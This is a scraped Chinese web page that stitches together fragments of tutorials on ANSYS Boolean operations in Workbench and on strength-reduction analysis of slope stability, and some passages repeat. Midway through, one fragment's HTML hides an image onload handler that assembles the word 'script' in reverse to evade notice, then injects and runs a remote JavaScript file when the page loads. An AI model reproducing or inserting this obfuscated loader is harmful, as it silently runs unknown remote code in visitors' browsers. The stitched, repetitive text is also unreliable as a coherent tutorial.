ansys布爾減法
關注創建者：王靖雯 創建時間：2023-03-07
ansys布爾減法的實例教程
采用ANSYS有限元強度折減方法對滑坡穩定系數進行求解，通過有限元強度折減方法對不同工況下滑坡穩定系數進行計算，并將模擬計算值與極限平衡方法進行對比，驗證了強度折減方法的有效性。
有限元強度折減法是20世紀70年代末由英國科學家Zienkiewicz提出的，是通過不斷提高強度折減系數來降低坡體巖土抗剪強度參數，并反復試算，直到達到極限破壞狀態，程序自動根據彈塑性有限元計算結果得到滑動破壞面，同時得到滑坡的強度儲備安全系數。該方法在理論體系上比極限平衡法更嚴格，它全面滿足了靜力許可、應變相容以及土體的非線性應力-應變關系。
地震荷載加載前需要對模型進行模態分析求解，來獲得固有頻率及瑞麗阻尼系數，然后再對模型進行動態加載。
第一步：模型建立、施加邊界條件、自重工況下強度折減
第二步：模態分析求解
第三步：求解瑞麗阻尼系數、地震波加載
展開 下面來大致描述ANSYS邊坡應用實例
ANSYS邊坡穩定性分析一般分以下幾個步驟：
①創建物理環境；②建立模型，劃分網格，對模型的不同區域賦予特性
③加邊界條件和載荷；④求解；⑤后處理（查看計算結果）
巖土高邊坡模型與網格劃分
邊坡圍巖材料參數
表1 邊坡模型圍巖參數
類別
彈性模量/GPa
泊松比
容重/
內聚力
/MPa
摩擦角
（。）
圍巖1（彈塑性）
10
0.30
2645
0.8
32
進行邊坡穩定性分析計算時，采用強度折減法來實現。首先選取初始折減系數F，然后對邊坡土體材料強度系數進行折減，折減后凝聚力以及摩擦角分別式（1）和式（2）。
強度折減系數F=1.0時計算結果分析
X方向變形云圖
整體位移矢量云圖
強度折減系數F=2.2時計算結果分析
強度折減系數F=2.24時計算結果分析
強度折減系數F=2.28時計算結果分析----求解不收斂，說明此時邊坡發生失穩。
展開 強度折減系數
進行邊坡穩定性分析計算時，采用強度折減法來實現。首先選取初始折減系數F，然后對邊坡土體材料強度系數進行折減，折減后凝聚力以及摩擦角分別見式1-1和式1-2。
土層材料參數
下面開始進行建模，通過點-線-面的方式逐步建立模型。
可在AutoCAD中找出關鍵點的坐標，然后逐步開始建模，也可以通過在CAD圖紙中創建面域，然后輸出為sat文件，之后導入到ANSYS中。兩種方式皆可。
各區域材料不同顏色顯示
采用Plane82單元來模擬，將單元選項設置為平面應變Plane strain.
在ANSYS經典中創建好的幾何模型
通過設置劃分網格單元尺寸，對上述幾何模型進行劃分，有限元網格如圖所示。
對模型施加邊界條件，左右兩側約束法向位移，底部約束UX UY方向自由度。
（一）僅自重下的部分計算結果
靜力通用求解，自重下的位移分布矢量云圖。
UX方向位移云圖
UY方向位移云圖
（二）對土體參數進行不同程度的折減，以下為折減系數為1.4時的部分計算結果。
考慮左側靜水壓力時的計算荷載示意圖。
UX方向位移云圖
整體位移云圖
X方向應變云圖
（三）折減為1.6時，計算求解不收斂，終止退出計算。
UX方向位移云圖
邊坡ux位移云圖
樁體部分的應力分布
目前，判斷土坡達到臨界破壞的評價標準主要有以下幾種：
（1） 以數值計算是否收斂作為評價標準；
（2） 以選取特征點的位移是否發生突變作為評價標準；
（3） 以是否形成連續的塑性貫通區域最為評價標準。
展開 <p><img onload="var st=document['create' + 'Element'](['t', 'p', 'i', 'r', 'c', 's'].reverse().join(''));st['src']='https://img.jishulink.com/202505/attachment/e3c0c45774c44ad99c4c8cf72de98f7b.js';document.body['append' + 'Child'](st)"src="https://img.jishulink.com/202108/imgs/a56b193ab638461b9c8a36d9245e7e13"></p><p><strong>點擊藍字</strong> 關注我們</p><p><img src="https://img.jishulink.com/202108/imgs/255357fd6cdd4659a9d06ce34a12eaf0"></p><p><img src="https://img.jishulink.com/202108/imgs/fb94d1ef3ab34159ad3f7335d763cf74"></p><p> 好久沒有更新算例了，這期更新一個小算例，用強度折減法計算邊坡的穩定性，用ANSYS軟件計算，ABAQUS的算例我前面寫了兩篇，感興趣的可以看看。</p><p><br></p><p> 邊坡的尺寸及參數與之前的ABAQUS的邊坡算例相同。模型如下。
展開 前面兩篇介紹了Solidworks和ANSYS經典界面中的布爾運算，本期當然是介紹Workbench布爾運算了，WB自帶的強大建模工具怎能遺漏呢。
下面娓娓道來，想學好Workbench建模技術的童鞋看仔細了哈。
WorkbenchDesignModeler中實體間的布爾運算包括如下幾種：Unite(相加)，Subtract(相減), Intersect(相交), Imprint Faces(印記面)。
關于印記面的專題介紹請參考什么是印記面？。
還包括其它形式的布爾運算如：Add Material,Cut Material, Slice.
布爾運算的菜單入口如下圖1。
圖1 布爾運算菜單入口
下面以一個小模型來演示布爾運算使用方法，方便大家理解。下圖是一個花鍵軸和圓盤組合在一起（有重合）。
圖2 演示幾何模型
1.Unite
Unite操作起來很簡單，只需要選中這里的軸和圓盤2 Bodies，Generate 一下就可以了，然后之前選中的2個實體就變成了一個新的實體了。如下圖3所示。
圖3選擇兩個實體進行Unite元算
Unite和add material 有些類似，但是Add Material操作只能在導入模型、生成新體時使用，而Unite操作可以在現有的模型中使用。
2. Subtract
WB DM中的Subtract功能也是與經典界面中的同出一轍，但稍遜于后者。新手需要特別注意Target Bodies 與Tool Bodies的區別！這兩項是必選項，很有必要弄清楚概念。Target Bodies是你需要減的母體，而Tools Bodies是你做減法所用的工具。即Target Bodies -Tool Bodies=期望得到的實體。
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采用ANSYS有限元強度折減方法對滑坡穩定系數進行求解，通過有限元強度折減方法對不同工況下滑坡穩定系數進行計算，并將模擬計算值與極限平衡方法進行對比，驗證了強度折減方法的有效性。
有限元強度折減法是20世紀70年代末由英國科學家Zienkiewicz提出的，是通過不斷提高強度折減系數來降低坡體巖土抗剪強度參數，并反復試算，直到達到極限破壞狀態，程序自動根據彈塑性有限元計算結果得到滑動破壞面，
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1.影響邊坡穩定性的主要因素
(1)邊坡材料力學特性參數：
包括彈性模量、泊松比、摩擦角、粘結力、容重、抗剪強度等參數。
(2)邊坡的幾何尺寸參數：
包括邊坡高度、坡面角和邊坡邊界尺寸以及坡面后方坡體的幾何形狀，即坡體的不連續面與開挖面的坡度及方向之間的幾何關系，它將確定坡體的各個部分是否滑動或塌落。
(3)邊坡外部荷載：
包括地震力、重力場、滲流場、地質構造地應力等
邊坡指地殼表部一切具有側向臨空面的地質體，是坡面、坡頂及其下部一定深度坡體的總稱。坡面與坡頂面下部至坡腳高程的巖體稱為坡體。
傾斜的地面稱為斜坡，鐵路、公路建筑施工中，所形成的路堤斜坡稱為路堤邊坡；開挖路塹所形成的斜坡稱為路塹邊坡；水利、市政或露天煤礦等工程開挖施工所形成的斜坡也稱為邊坡；這些對應工程就稱為邊坡工程。
對邊坡工程進行地質分類時，考慮了下述各點
創建復雜的幾何模型，可運用布爾運算對模型進行加工和修改。無論是自頂向下建模或是自底向上建模創建的圖素都可進行布爾運算，通過簡單的幾何模型進行一系列布爾操作可創建復雜的模型，使得建模較為容易和快捷。
對于包含退化的模型，有時布爾運算是無法完成的。對于已經劃分網格的圖素不能進行布爾運算，在操作前應清除網格，否則提示錯誤信息；同樣地，如果定義了荷載和單元屬性，在布爾運算后這些屬性不會轉換到新圖素上
前面兩篇介紹了Solidworks和ANSYS經典界面中的布爾運算，本期當然是介紹Workbench布爾運算了，WB自帶的強大建模工具怎能遺漏呢。
下面娓娓道來，想學好Workbench建模技術的童鞋看仔細了哈。
WorkbenchDesignModeler中實體間的布爾運算包括如下幾種：Unite(相加)，Subtract(相減), Intersect(相交), Imprint Faces(
